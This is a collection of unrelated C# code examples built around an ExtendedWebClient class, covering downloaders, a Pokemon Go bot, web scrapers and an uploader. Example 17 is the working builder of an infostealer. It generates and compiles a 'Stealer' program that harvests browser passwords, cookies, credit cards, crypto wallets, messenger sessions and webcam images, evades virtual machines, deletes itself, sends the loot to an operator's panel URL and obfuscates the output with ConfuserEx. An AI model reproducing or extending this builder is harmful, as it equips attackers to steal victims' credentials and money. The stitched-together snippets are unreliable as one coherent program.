                        if (lastCode == HttpStatusCode.NotFound)
                        {
                            currenturl = _pso22fileurl.GetTheOtherOne(currenturl.OriginalString);
                            try
                            {
                                using (HttpWebResponse theRep = _webClient.Open(currenturl) as HttpWebResponse)
                                {
                                    if (theRep.StatusCode == HttpStatusCode.NotFound)
                                    {
                                        throw new WebException("File not found", null, WebExceptionStatus.ReceiveFailure, theRep);
                                    }
                                    else if (theRep.StatusCode == HttpStatusCode.Forbidden)
                                    {
                                        throw new WebException("Access denied", null, WebExceptionStatus.ReceiveFailure, theRep);
                                    }

                                    /*if (theRep.ContentLength > 0)
                                     *  filelength = theRep.ContentLength;
                                     * else
                                     * {
                                     *  HttpWebRequest headReq = _webClient.CreateRequest(currenturl, "HEAD") as HttpWebRequest;
                                     *  headReq.AutomaticDecompression = DecompressionMethods.None;
                                     *  HttpWebResponse headRep = headReq.GetResponse() as HttpWebResponse;
                                     *  if (headRep != null)
                                     *  {
                                     *      if (headRep.ContentLength > 0)
                                     *          filelength = headRep.ContentLength;
                                     *      headRep.Close();
                                     *  }
                                     * }*/
                                    using (var theRepStream = theRep.GetResponseStream())
                                    {
                                        int count = theRepStream.Read(buffer, 0, buffer.Length);
                                        while (count > 0)
                                        {
                                            local.Write(buffer, 0, count);
                                            //byteprocessed += count;
                                            count = theRepStream.Read(buffer, 0, buffer.Length);
                                        }
                                    }
                                }
                            }
                            catch (WebException webEx)
                            {
                                if (webEx.Response != null)
                                {
                                    HttpWebResponse rep = webEx.Response as HttpWebResponse;
                                    if (rep.StatusCode != HttpStatusCode.NotFound)
                                    {
                                        failedfiles.Add(_keypair.Key);
                                    }
                                }
                            }
                        }
                        else
                        {
                            failedfiles.Add(_keypair.Key);
                        }
                    }
                    //fileList[filecount].IndexOfAny(' ');
                    if (downloadprogressReport != null)
                    {
                        WebClientPool.SynchronizationContext.Send(new System.Threading.SendOrPostCallback(delegate { continueDownload = downloadprogressReport.Invoke(filecount, fileList.Count); }), null);
                    }
                    filecount++;
                }
            }
            catch (Exception ex)
            { Myex = ex; }
            _webClient.CacheStorage = asdasdads;
            var myevent = new RunWorkerCompletedEventArgs(failedfiles, Myex, !continueDownload);

            if (downloadFinished_CallBack != null)
            {
                WebClientPool.SynchronizationContext.Post(new System.Threading.SendOrPostCallback(delegate { downloadFinished_CallBack.Invoke(_webClient, myevent); }), null);
            }

            if (myevent.Error != null && !myevent.Cancelled)
            {
                if (failedfiles.Count == 0)
                {
                    return(true);
                }
            }
            return(false);
        }
Ejemplo n.º 15
0
 private static Bitmap GetPokemonImage(int pokemonId)
 {
     var Sprites = AppDomain.CurrentDomain.BaseDirectory + "Sprites\\";
     string location = Sprites + pokemonId + ".png";
     if (!Directory.Exists(Sprites))
         Directory.CreateDirectory(Sprites);
     bool err = false;
     Bitmap bitmapRemote = null;
     if (!File.Exists(location))
     {
         try {
             ExtendedWebClient wc = new ExtendedWebClient();
             wc.DownloadFile("http://pokemon-go.ar1i.xyz/img/pokemons/" + pokemonId + ".png", @location);
         } catch (Exception)
         {
             // User fail picture
             err = true;
         }
     }
     if (err)
     {
         PictureBox picbox = new PictureBox();
         picbox.Image = PokemonGo.RocketAPI.Console.Properties.Resources.error_sprite;
         bitmapRemote = (Bitmap)picbox.Image;
     }
     else
     {
         try
         {
             PictureBox picbox = new PictureBox();
             FileStream m = new FileStream(location, FileMode.Open);
             picbox.Image = Image.FromStream(m);
             bitmapRemote = (Bitmap)picbox.Image;
             m.Close();
         } catch (Exception e)
         { 
             PictureBox picbox = new PictureBox();
             picbox.Image = PokemonGo.RocketAPI.Console.Properties.Resources.error_sprite;
             bitmapRemote = (Bitmap)picbox.Image;
         }
     }
     return bitmapRemote;
 }
Ejemplo n.º 16
0
        IList <ChatRoomModel> GetChatRooms(NavigationDirection parameter)
        {
            var chatRooms = new List <ChatRoomModel>();

            switch (parameter)
            {
            case NavigationDirection.Forward:
                Page += 1;
                break;

            case NavigationDirection.Backward:
                if (Page > 1)
                {
                    Page -= 1;
                }
                break;

            case NavigationDirection.Refresh:
            default:
                if (Page == 0)
                {
                    Page = 1;
                }
                break;
            }

            var url = string.Format("{0}/?page={1}", CHATURBATE, Page);

            switch (RoomsGender)
            {
            case Gender.Male:
                url = string.Format("{0}/male-cams/?page={1}", CHATURBATE, Page);
                break;

            case Gender.Female:
                url = string.Format("{0}/female-cams/?page={1}", CHATURBATE, Page);
                break;

            case Gender.Couple:
                url = string.Format("{0}/couple-cams/?page={1}", CHATURBATE, Page);
                break;

            case Gender.Trans:
                url = string.Format("{0}/trans-cams/?page={1}", CHATURBATE, Page);
                break;
            }

            string html;

            using (var client = new ExtendedWebClient())
            {
                client.Host = HOST;
                try
                {
                    html = client.DownloadString(new Uri(url, UriKind.Absolute));
                }
                catch (WebException)
                {
                    return(chatRooms);
                }
            }

            var parser = new HtmlDocument();

            parser.LoadHtml(html);

            HtmlNode tempNode;

            foreach (var node in parser.DocumentNode.SelectNodes("//ul[@class='list']/li"))
            {
                tempNode = node.SelectSingleNode("./a/img[@class='png']");
                var profileImageUrl    = tempNode.Attributes["src"].Value;
                var profileImageHeight = int.Parse(tempNode.Attributes["height"].Value);
                var profileImageWidth  = int.Parse(tempNode.Attributes["width"].Value);

                tempNode = node.SelectSingleNode("./div[contains(@class,'thumbnail_label')]");
                var isVideoFeedHd = tempNode.InnerText.Equals("HD", StringComparison.InvariantCultureIgnoreCase);

                tempNode = node.SelectSingleNode("./div/ul[@class='subject']/li");
                var title = tempNode.Attributes["title"].Value;

                tempNode = node.SelectSingleNode("./div[@class='details']/div[@class='title']/a");
                var name       = tempNode.InnerText.Trim();
                var profileUrl = string.Format("{0}{1}", CHATURBATE, tempNode.Attributes["href"].Value);

                tempNode = node.SelectSingleNode("./div[@class='details']/div[@class='title']/span[contains(@class,'age')]");
                int.TryParse(tempNode.InnerText, out int age);
                var    genderString = tempNode.Attributes["class"].Value;
                Gender gender;
                if (genderString.Contains("genderm"))
                {
                    gender = Gender.Male;
                }
                else if (genderString.Contains("genderf"))
                {
                    gender = Gender.Female;
                }
                else if (genderString.Contains("genderc"))
                {
                    gender = Gender.Couple;
                }
                else
                {
                    gender = Gender.Trans;
                }

                tempNode = node.SelectSingleNode("./div[@class='details']/ul[@class='sub-info']/li[@class='cams']");
                var cams = tempNode.InnerText;

                var chatRoom = new ChatRoomModel(name, age, gender, title, profileUrl, profileImageUrl, profileImageHeight, profileImageWidth);
                chatRoom.IsVideoFeedHd = isVideoFeedHd;
                chatRoom.CamsCount     = cams;
                chatRooms.Add(chatRoom);
            }

            return(chatRooms);
        }
Ejemplo n.º 17
0
        private void button1_Click(object sender, EventArgs e)
        {
            #region
            JsonValue getJsonStettings = null;
            string    resultServer     = string.Empty;
            string    Passwords        = string.Empty;
            string    Cookies          = string.Empty;
            string    Autofills        = string.Empty;
            string    Clipboard        = string.Empty;
            string    CreditCards      = string.Empty;
            string    USB               = string.Empty;
            string    DesktopFiles      = string.Empty;
            string    Discord           = string.Empty;
            string    Skype             = string.Empty;
            string    FTPClient         = string.Empty;
            string    History           = string.Empty;
            string    ImClient          = string.Empty;
            string    MailClient        = string.Empty;
            string    HardwareInfo      = string.Empty;
            string    ScreenDesktop     = string.Empty;
            string    VPNClient         = string.Empty;
            string    Steam             = string.Empty;
            string    Telegram          = string.Empty;
            string    Wallets           = string.Empty;
            string    SelfDelete        = string.Empty;
            string    VirtualMachine    = string.Empty;
            string    WebCam            = string.Empty;
            string    FireFox           = string.Empty;
            string    Internet_Explorer = string.Empty;
            string    DecryptAPI        = Properties.Resources.DecryptAPI;
            string    Crypt             = Properties.Resources.Crypt;
            string    Help              = Properties.Resources.Help;
            string    Location          = Properties.Resources.Location;
            string    Program           = Properties.Resources.Program;
            string    SendToServer      = Properties.Resources.SendToServer;
            string    SQLite            = Properties.Resources.SQLite;
            string    ZipStore          = Properties.Resources.ZipStore;
            string    CheckPovt         = Properties.Resources.CheckPovt;

            if (textBox1.Text == "")
            {
                MessageBox.Show("Введите ссылку", "Ошибка!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            string GetSett = string.Empty;
            try
            {
                System.Collections.Specialized.NameValueCollection postData = new System.Collections.Specialized.NameValueCollection()
                {
                    { "settings", "settings" }
                };
                string uriString = textBox1.Text + "index.php";
                var    webClient = new ExtendedWebClient();
                ServicePointManager.ServerCertificateValidationCallback += new RemoteCertificateValidationCallback(ValidateRemoteCertificate);
                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                webClient.Proxy   = null;
                webClient.Timeout = Timeout.Infinite;
                webClient.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome / 62.0.3202.94 Safari / 537.36 OPR / 49.0.2725.64");
                webClient.AllowWriteStreamBuffering = false;
                GetSett = Encoding.UTF8.GetString(webClient.UploadValues(uriString, postData));
            }
            catch { }

            if (GetSett == "")
            {
                MessageBox.Show("Произошла ошибка при отправке запроса, проверьте правильность ссылки!", "Ошибка!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            Task.Factory.StartNew(() => { getJsonStettings = JsonValue.Parse(GetSett); }).Wait();

            Program += "using System;\nusing System.IO;\nusing System.Threading;\nusing System.Threading.Tasks;\n\nnamespace Stealer\n{\n\tclass Program\n\t{\n\t\tpublic static string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @\"\\PackLogsRezo\";\n\t\tstatic void Main(string[] args)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tTask.Factory.StartNew(() => { modules.CheckPovt.CheckPril(); }).Wait();\n";
            Program += "\t\t\t\tif (File.Exists(path))\n\t\t\t\t{\n\t\t\t\t\tFile.Delete(path);\n\t\t\t\t}\n\t\t\t\tDirectoryInfo di = Directory.CreateDirectory(path);\n\t\t\t\tdi.Attributes = FileAttributes.Directory | FileAttributes.Hidden;\n";
            if (getJsonStettings["AntiVM"] == true)
            {
                Program       += "\n\t\t\t\tTask.Factory.StartNew(() => { modules.VirtualMachine.CheckVM(); }).Wait();";
                VirtualMachine = Properties.Resources.VirtualMachine;
            }
            Program += "\n\t\t\t\tTask.Factory.StartNew(() => { Helper(); }).Wait();";
            Program += "\n\t\t\t\tTask.Factory.StartNew(() => { modules.SendToServer.StratSend(); }).Wait();";

            if (getJsonStettings["SelfDelete"] == true)
            {
                SelfDelete = Properties.Resources.SelfDelete;
                Program   += "\n\t\t\t\tTask.Factory.StartNew(() => { modules.Delete.SelfDelete(); }).Wait();";
            }
            Program += "\n\t\t\t} catch { }\n\t\t}\n";
            if (getJsonStettings["repeated_logs"] == true)
            {
                Program += "\t\tpublic static bool repeated_logs = true;";
            }
            else
            {
                Program += "\t\tpublic static bool repeated_logs = false;";
            }
            Program += "\n\t\tprivate static void Helper()\n\t\t{";
            if (getJsonStettings["Password"] == true)
            {
                FireFox           = Properties.Resources.FireFox;
                Passwords         = Properties.Resources.Passwords;
                Internet_Explorer = Properties.Resources.Internet_Explorer;
                Program          += "\n\t\t\tmodules.Passwords.GetPasswords();";
                Program          += "\n\t\t\tmodules.FireFox.GetPasswordFirefox();";
                Program          += "\n\t\t\tmodules.Internet_Explorer.Start();";
            }
            if (getJsonStettings["Cookies"] == true)
            {
                Cookies  = Properties.Resources.Cookies;
                Program += "\n\t\t\tmodules.Cookies.GetCookies();";
            }
            if (getJsonStettings["Autofill"] == true)
            {
                Autofills = Properties.Resources.Autofills;
                Program  += "\n\t\t\tmodules.Autofill.GetCAutofills();";
            }
            if (getJsonStettings["Clipboard"] == true)
            {
                Clipboard = Properties.Resources.Clipboard;
                Program  += "\n\t\t\tmodules.Clipboard.GetText();";
            }
            if (getJsonStettings["CreditCards"] == true)
            {
                CreditCards = Properties.Resources.CreditCards;
                Program    += "\n\t\t\tmodules.CreditCards.GetCreditCards();";
            }
            if (getJsonStettings["History"] == true)
            {
                History  = Properties.Resources.History;
                Program += "\n\t\t\tmodules.History.GetHistory();";
            }
            if (getJsonStettings["DectopAndUSBFiles"] == true)
            {
                DesktopFiles = Properties.Resources.DesktopFiles;
                USB          = Properties.Resources.USB;
                Program     += "\n\t\t\tmodules.USB.GetUSB();";
                Program     += "\n\t\t\tmodules.DesktopFiles.Inizialize();";
            }
            if (getJsonStettings["HistoryDiscord"] == true)
            {
                Discord  = Properties.Resources.Discord;
                Program += "\n\t\t\tmodules.Discord.GetDiscord();";
            }
            if (getJsonStettings["HistorySkype"] == true)
            {
                Skype    = Properties.Resources.Skype;
                Program += "\n\t\t\tmodules.Skype.GetSkype();";
            }
            if (getJsonStettings["FTPClient"] == true)
            {
                FTPClient = Properties.Resources.FTPClient;
                Program  += "\n\t\t\tmodules.FTPClient.GetFileZilla();";
            }
            if (getJsonStettings["ImClient"] == true)
            {
                ImClient = Properties.Resources.ImClient;
                Program += "\n\t\t\tmodules.ImClient.GetImClients();";
            }
            if (getJsonStettings["MailClient"] == true)
            {
                MailClient = Properties.Resources.MailClient;
                Program   += "\n\t\t\tmodules.MailClient.GoMailClient();";
            }
            if (getJsonStettings["VPNClient"] == true)
            {
                VPNClient = Properties.Resources.VPNClient;
                Program  += "\n\t\t\tmodules.VPNClient.GetVPN();";
            }
            if (getJsonStettings["HardwareInfo"] == true)
            {
                HardwareInfo = Properties.Resources.HardwareInfo;
                Program     += "\n\t\t\tmodules.HardwareInfo.GoInfo();";
            }
            if (getJsonStettings["Screenshot"] == true)
            {
                ScreenDesktop = Properties.Resources.ScreenDesktop;
                Program      += "\n\t\t\tmodules.ScreenDektop.GetScreenshot();";
            }
            if (getJsonStettings["SteamFiles"] == true)
            {
                Steam    = Properties.Resources.Steam;
                Program += "\n\t\t\tmodules.Steam.CopySteam();";
            }
            if (getJsonStettings["Telegram"] == true)
            {
                Telegram = Properties.Resources.Telegram;
                Program += "\n\t\t\tmodules.Telegram.GetTelegram();";
            }
            if (getJsonStettings["WebCam"] == true)
            {
                WebCam   = Properties.Resources.WebCam;
                Program += "\n\t\t\tmodules.WebCam.GetWebCamPicture();";
            }
            if (getJsonStettings["Wallets"] == true)
            {
                Wallets  = Properties.Resources.Wallets;
                Program += "\n\t\t\tmodules.Wallets.GetWallets();";
            }
            Program += "\n\t\t\tmodules.Location.GetLocation(false);";
            Program += "\n\t\t}\n\t}\n}";
            #endregion
            CompilerParameters Params = new CompilerParameters();
            Params.CompilerOptions         = "/target:exe /optimize+ /platform:anycpu /langversion:Default /noconfig";
            Params.TreatWarningsAsErrors   = false;
            Params.GenerateInMemory        = false;
            Params.IncludeDebugInformation = false;
            Params.GenerateExecutable      = true;
            string nameProgram = GenRandomString("QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm", 8);
            Params.OutputAssembly = nameProgram + ".exe";

            Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            Params.ReferencedAssemblies.Add("System.dll");
            Params.ReferencedAssemblies.Add("System.Linq.dll");
            Params.ReferencedAssemblies.Add("System.Xml.dll");
            Params.ReferencedAssemblies.Add("System.Management.dll");
            Params.ReferencedAssemblies.Add("System.Drawing.dll");
            Params.ReferencedAssemblies.Add("System.Security.dll");
            Params.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");

            SendToServer = SendToServer.Replace("[link]", textBox1.Text);
            var settings = new Dictionary <string, string>();
            settings.Add("CompilerVersion", "v4.0");
            CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Autofills, DecryptAPI, Crypt, Help, SQLite, Program, Cookies, Discord, Passwords, FireFox, Internet_Explorer, History, CreditCards, Clipboard, DesktopFiles, USB, Skype, ScreenDesktop, FTPClient, VPNClient, HardwareInfo, ImClient, Location, MailClient, Steam, Telegram, SendToServer, Wallets, SelfDelete, VirtualMachine, CheckPovt, WebCam, ZipStore);
            if (Results.Errors.Count > 0)
            {
                foreach (CompilerError err in Results.Errors)
                {
                    MessageBox.Show(err.ToString());
                }
            }

            string combine   = Path.Combine(GlobalPath.CurrDir, nameProgram + ".exe");
            string darkbuild = Path.Combine(GlobalPath.PathDark, nameProgram + ".exe");

            if (!Results.Errors.HasErrors)
            {
                if (Obfuscation.Checker())
                {
                    // Запускаем создания dark конфиг с нужными параметрами
                    Task.Run(() => File.WriteAllText(GlobalPath.DarkConfig, Obfuscation.TempConfig(combine))).Wait();
                    Task.Run(() => CommandRunner.RunFile(GlobalPath.CLI_Confuser, GlobalPath.DarkConfig)).Wait();
                    try
                    {
                        File.Delete(Path.Combine(GlobalPath.CurrDir, nameProgram + ".exe"));
                        File.Delete(GlobalPath.DarkConfig);
                        File.Move(darkbuild, combine);
                        File.Delete(darkbuild);
                    }
                    catch { }
                }
            }
        }
Ejemplo n.º 18
0
 public DataLoader(IProxyService proxyService, ILogger <DataLoader> logger)
 {
     _webClient    = new ExtendedWebClient();
     _proxyService = proxyService;
     _logger       = logger;
 }
Ejemplo n.º 19
0
        void ProcessBook(BookModel currentBook, SearchFilter filter, int pallelWebRequests = 1)
        {
            var bookParser = new HtmlDocument();
            var client     = new ExtendedWebClient(pallelWebRequests);

            currentBook.Status = SearchStatus.Working;
            var rootNode = Load(ref client, ref bookParser, currentBook.Url);

            if (rootNode == null)
            {
                currentBook.Status = Status = SearchStatus.Failed;
                return;
            }

            var htmlNode = rootNode.SelectSingleNode(".//div[@id='BottomPanel']//h2[@itemprop='productID']");

            if (htmlNode != null)
            {
                currentBook.Isbn = htmlNode.InnerText;
            }

            // change to inner node to decrease DOM traversal
            rootNode = rootNode.SelectSingleNode(".//div[@id='CenterPanelInternal']");
            if (rootNode == null)
            {
                currentBook.Status = Status = SearchStatus.Failed;
                return;
            }

            var innerRoot = rootNode.SelectSingleNode(".//div[@id='LeftSummaryPanel']");

            if (innerRoot == null)
            {
                currentBook.Status = Status = SearchStatus.Failed;
                return;
            }

            htmlNode = innerRoot.SelectSingleNode(".//div[@itemprop='itemCondition']");
            if (htmlNode != null)
            {
                BookCondition condition;
                if (Enum.TryParse(htmlNode.InnerText.Replace(" ", string.Empty), out condition))
                {
                    currentBook.Condition = condition;
                }
            }

            var nodes = innerRoot.SelectNodes(".//span[@itemprop='price']");

            if (nodes != null)
            {
                // in case of books with both buy-now and bid-now option, pick buy now price
                htmlNode = nodes[filter.IsBuyItNow && nodes.Count > 1 ? 1 : 0];

                currentBook.Price = decimal.Parse(htmlNode.Attributes["content"].Value);

                // try to extract price if current price is not in USD
                htmlNode = htmlNode.ParentNode.SelectSingleNode(".//span[@id='convbinPrice']");
                if (htmlNode != null && htmlNode.HasChildNodes)
                {
                    currentBook.Price = ExtractDecimal(htmlNode.FirstChild.InnerText);
                }
            }
            else
            {
                // retrieve discounted price
                htmlNode = rootNode.SelectSingleNode(".//span[@id='mm-saleDscPrc']");
                if (htmlNode != null)
                {
                    currentBook.Price = ExtractDecimal(htmlNode.InnerText);
                }
            }

            innerRoot = rootNode.SelectSingleNode(".//div[@id='RightSummaryPanel']");
            if (innerRoot == null)
            {
                currentBook.Status = Status = SearchStatus.Failed;
                return;
            }

            // seller details
            currentBook.Seller = new SellerModel();

            htmlNode = innerRoot.SelectSingleNode(".//span[@class='mbg-nw']");
            if (htmlNode != null)
            {
                currentBook.Seller.Name = htmlNode.InnerText;
            }

            htmlNode = innerRoot.SelectSingleNode(".//a[starts-with(@title,'feedback score:')]");
            if (htmlNode != null)
            {
                currentBook.Seller.FeedbackScore = long.Parse(htmlNode.InnerText);
            }

            htmlNode = innerRoot.SelectSingleNode(".//div[@id='si-fb']");
            if (htmlNode != null)
            {
                var parts = htmlNode.InnerText.Split('%');
                if (parts.Length > 0)
                {
                    currentBook.Seller.FeedbackPercent = decimal.Parse(parts[0]);
                }
            }

            currentBook.Status = SearchStatus.Complete;
        }
Ejemplo n.º 20
0
        private void GUI_Load(object sender, EventArgs e)
        {
            // Create missing Files
            Directory.CreateDirectory(Program.path);
            Directory.CreateDirectory(Program.path_translation);

            // Load Languages Files always UP2Date
            try
            {
                ExtendedWebClient client       = new ExtendedWebClient();
                string            translations = client.DownloadString("http://pokemon-go.ar1i.xyz/lang/get.php");
                string[]          transArray   = translations.Replace("\r", string.Empty).Split('\n');
                for (int ijik = 0; ijik < transArray.Count(); ijik++)
                {
                    client.DownloadFile("http://pokemon-go.ar1i.xyz/lang/" + transArray[ijik], Program.path_translation + "\\" + transArray[ijik]);
                }
            }
            catch (Exception)
            {
                List <string> b = new List <string>();
                b.Add("de.json");
                b.Add("france.json");
                b.Add("italian.json");
                b.Add("ptBR.json");
                b.Add("ru.json");
                b.Add("spain.json");
                b.Add("tr.json");

                foreach (var l in b)
                {
                    Extract("PokemonGo.RocketAPI.Console", Program.path_translation, "Lang", l);
                }
            }

            TranslationHandler.Init();

            // Version Infoooo
            groupBox9.Text = "Your Version: " + Assembly.GetExecutingAssembly().GetName().Version + " | Newest: " + Program.getNewestVersion();
            if (Program.getNewestVersion() > Assembly.GetExecutingAssembly().GetName().Version)
            {
                DialogResult dialogResult = MessageBox.Show("There is an Update on Github. do you want to open it ?", "Newest Version: " + Program.getNewestVersion(), MessageBoxButtons.YesNo);
                if (dialogResult == DialogResult.Yes)
                {
                    Process.Start("https://github.com/Ar1i/PokemonGo-Bot");
                    Environment.Exit(1);
                }
                else if (dialogResult == DialogResult.No)
                {
                    //nothing
                }
            }

            comboBox1.DisplayMember = "Text";
            var types = new[] {
                new { Text = "Google" },
                new { Text = "Pokemon Trainer Club" },
            };

            comboBox1.DataSource = types;

            //textBox1.Hide();
            //label2.Hide();
            //textBox2.Hide();
            //label3.Hide();

            var pokeIDS   = new Dictionary <string, int>();
            var evolveIDS = new Dictionary <string, int>();
            int i         = 1;
            int ev        = 1;

            foreach (PokemonId pokemon in Enum.GetValues(typeof(PokemonId)))
            {
                if (pokemon.ToString() != "Missingno")
                {
                    pokeIDS[pokemon.ToString()] = i;
                    gerEng[StringUtils.getPokemonNameGer(pokemon)] = pokemon.ToString();
                    if (checkBox8.Checked)
                    {
                        checkedListBox1.Items.Add(StringUtils.getPokemonNameGer(pokemon));
                        checkedListBox2.Items.Add(StringUtils.getPokemonNameGer(pokemon));
                        if (!(evolveBlacklist.Contains(i)))
                        {
                            checkedListBox3.Items.Add(StringUtils.getPokemonNameGer(pokemon));
                            evolveIDS[pokemon.ToString()] = ev;
                            ev++;
                        }
                    }
                    else
                    {
                        checkedListBox1.Items.Add(pokemon.ToString());
                        checkedListBox2.Items.Add(pokemon.ToString());
                        if (!(evolveBlacklist.Contains(i)))
                        {
                            checkedListBox3.Items.Add(pokemon.ToString());
                            evolveIDS[pokemon.ToString()] = ev;
                            ev++;
                        }
                    }
                    i++;
                }
            }

            if (File.Exists(Program.account))
            {
                string[] lines = File.ReadAllLines(@Program.account);
                i = 1;
                int tb = 1;
                foreach (string line in lines)
                {
                    switch (i)
                    {
                    case 1:
                        if (line == "Google")
                        {
                            comboBox1.SelectedIndex = 0;
                        }
                        else
                        {
                            comboBox1.SelectedIndex = 1;
                        }
                        break;

                    case 9:
                        checkBox1.Checked = bool.Parse(line);
                        break;

                    case 10:
                        checkBox2.Checked = bool.Parse(line);
                        break;

                    case 12:
                        checkBox3.Checked = bool.Parse(line);
                        break;

                    case 14:
                        textBox18.Text = line;
                        break;

                    case 15:
                        textBox19.Text = line;
                        break;

                    case 16:
                        textBox20.Text = line;
                        break;

                    case 17:
                        //if (line == "1")
                        //{
                        //    Globals.navigation_option = 1;
                        //    checkBox8.Checked = true;
                        //    checkBox7.Checked = false;
                        //} else
                        //{
                        //    Globals.navigation_option = 2;
                        //    checkBox7.Checked = true;
                        //    checkBox8.Checked = false;
                        //}
                        break;

                    case 18:
                        checkBox7.Checked = bool.Parse(line);
                        break;

                    case 19:
                        checkBox8.Checked = bool.Parse(line);
                        break;

                    case 20:
                        checkBox9.Checked = bool.Parse(line);
                        break;

                    case 21:
                        textBox24.Text = line;
                        break;

                    case 22:
                        checkBox10.Checked = bool.Parse(line);
                        break;

                    case 23:
                        checkBox11.Checked = bool.Parse(line);
                        break;

                    case 24:
                        checkBox12.Checked = bool.Parse(line);
                        break;

                    case 25:
                        chkAutoIncubate.Checked = bool.Parse(line);
                        chkAutoIncubate_CheckedChanged(null, EventArgs.Empty);
                        break;

                    case 26:
                        chkUseBasicIncubators.Checked = bool.Parse(line);
                        break;

                    default:
                        TextBox temp = (TextBox)Controls.Find("textBox" + tb, true).FirstOrDefault();
                        temp.Text = line;
                        tb++;
                        break;
                    }
                    i++;
                }
            }
            else
            {
                textBox3.Text  = "40,764883";
                textBox4.Text  = "-73,972967";
                textBox5.Text  = "10";
                textBox6.Text  = "50";
                textBox7.Text  = "5000";
                textBox8.Text  = "3";
                textBox9.Text  = "999";
                textBox20.Text = "5000";
            }

            if (File.Exists(Program.items))
            {
                string[] lines = File.ReadAllLines(@Program.items);
                i = 10;
                foreach (string line in lines)
                {
                    if (i == 18)
                    {
                        i = 22;
                    }
                    else if (i == 23)
                    {
                        i = 21;
                    }
                    else if (i == 22)
                    {
                        i = 23;
                    }
                    TextBox temp = (TextBox)Controls.Find("textBox" + i, true).FirstOrDefault();
                    temp.Text = line;
                    i++;
                }
            }
            else
            {
                textBox10.Text = "20";
                textBox11.Text = "50";
                textBox12.Text = "100";
                textBox13.Text = "20";
                textBox14.Text = "0";
                textBox15.Text = "0";
                textBox16.Text = "50";
                textBox17.Text = "75";
                textBox22.Text = "200";
                textBox21.Text = "100";
                textBox23.Text = "20";
                textBox24.Text = "90";
            }

            if (File.Exists(Program.keep))
            {
                string[] lines = File.ReadAllLines(@Program.keep);
                foreach (string line in lines)
                {
                    if (line != string.Empty)
                    {
                        if (checkBox8.Checked)
                        {
                            checkedListBox1.SetItemChecked(pokeIDS[gerEng[line]] - 1, true);
                        }
                        else
                        {
                            checkedListBox1.SetItemChecked(pokeIDS[line] - 1, true);
                        }
                    }
                }
            }

            if (File.Exists(Program.ignore))
            {
                string[] lines = File.ReadAllLines(@Program.ignore);
                foreach (string line in lines)
                {
                    if (line != string.Empty)
                    {
                        if (checkBox8.Checked)
                        {
                            checkedListBox2.SetItemChecked(pokeIDS[gerEng[line]] - 1, true);
                        }
                        else
                        {
                            checkedListBox2.SetItemChecked(pokeIDS[line] - 1, true);
                        }
                    }
                }
            }

            if (File.Exists(Program.lastcords))
            {
                try
                {
                    var    latlngFromFile = File.ReadAllText(Program.lastcords);
                    var    latlng = latlngFromFile.Split(':');
                    double latitude, longitude;
                    double.TryParse(latlng[0], out latitude);
                    double.TryParse(latlng[1], out longitude);
                    Globals.latitute  = latitude;
                    Globals.longitude = longitude;
                }
                catch
                {
                }
            }

            if (File.Exists(Program.evolve))
            {
                string[] lines = File.ReadAllLines(@Program.evolve);
                foreach (string line in lines)
                {
                    if (line != string.Empty)
                    {
                        if (checkBox8.Checked)
                        {
                            checkedListBox3.SetItemChecked(evolveIDS[gerEng[line]] - 1, true);
                        }
                        else
                        {
                            checkedListBox3.SetItemChecked(evolveIDS[line] - 1, true);
                        }
                    }
                }
            }
        }
Ejemplo n.º 21
0
 /// <summary>
 /// Gibt ein WebRequest-Objekt für eine HTTP-GET-Anfrage an die angegebene Ressource zurück.
 /// </summary>
 /// <param name="uri">Ein URI, der die anzufordernde Ressource identifiziert.</param>
 /// <param name="parameters">Ein Objekt, dessen Properties als GET-Parameter benutzt werden.</param>
 /// <returns>Ein neues WebRequest-Objekt für die angegebene Ressource.</returns>
 public WebRequest Get(Uri uri, object parameters)
 {
     return(this.get(uri, ExtendedWebClient.createParamString(ExtendedWebClient.objectToDictionary(parameters))));
 }
Ejemplo n.º 22
0
 /// <summary>
 /// Gibt das Ergebnis einer HTTP-POST-Anfrage an die angegebene Ressource zurück.
 /// </summary>
 /// <param name="uri">Ein URI, der die anzufordernde Ressource identifiziert.</param>
 /// <param name="parameters">Eine Auflistung der POST-Parameter.</param>
 /// <returns>Das Ergebnis einer HTTP-POST-Anfrage an die angegebene Ressource (als Zeichenkettenrepräsentation).</returns>
 public string Post(string uri, IDictionary <string, string> parameters)
 {
     return(this.post(uri, ExtendedWebClient.createParamString(parameters)));
 }
 /// <summary>
 /// Creates and returns a <see cref="WebClient"/> initialized with all default / desired properties already set.
 /// </summary>
 /// <returns>Returns an initialized <see cref="WebClient"/>.</returns>
 protected virtual WebClient GetWebClient()
 {
     var wc = new ExtendedWebClient(this.TimeOut, this.RemoteCertificateValidationCallback);
     wc.CachePolicy = this.CachePolicy;
     wc.Credentials = this.Credentials;
     wc.Proxy = this.Proxy;
     wc.Headers.Add(HttpRequestHeader.UserAgent, USERAGENT);
     return wc;
 }
Ejemplo n.º 24
0
        private void aLMACENARToolStripMenuItem_Click(object sender, EventArgs e)
        {
            #region validaciones

            if (String.IsNullOrEmpty(inputnombre.Text))
            {
                Mensajes.error("Debe Seleccionar un Video");
                return;
            }

            if (String.IsNullOrEmpty(inputclientes_id.Text))
            {
                Mensajes.error("Debe Seleccionar un Cliente para el Video");
                return;
            }

            if (!Path.GetExtension(inputnombre.Text).Equals(".mp4"))
            {
                Mensajes.error("Solo Se Pueden Cargar Archivos con Formato mp4");
                return;
            }

            FileInfo infoArchivo = new FileInfo(inputnombre.Text);

            if (infoArchivo.Length > 20000000)
            {
                MessageBox.Show("Imposible subir el archivo, el limite permitido es de 20 Mb");
                return;
            }

            #endregion

            #region almacenar

            this.Cursor = Cursors.WaitCursor;

            #region post para almacenar video

            string uriString = VGlobales.rutaWeb + "/insert.php";

            var myWebClient = new ExtendedWebClient();
            myWebClient.AllowWriteStreamBuffering = false;

            myWebClient.Headers.Add("Content-Type", "binary/octet-stream");
            byte[] responseArray = myWebClient.UploadFile(uriString, "POST", inputnombre.Text);
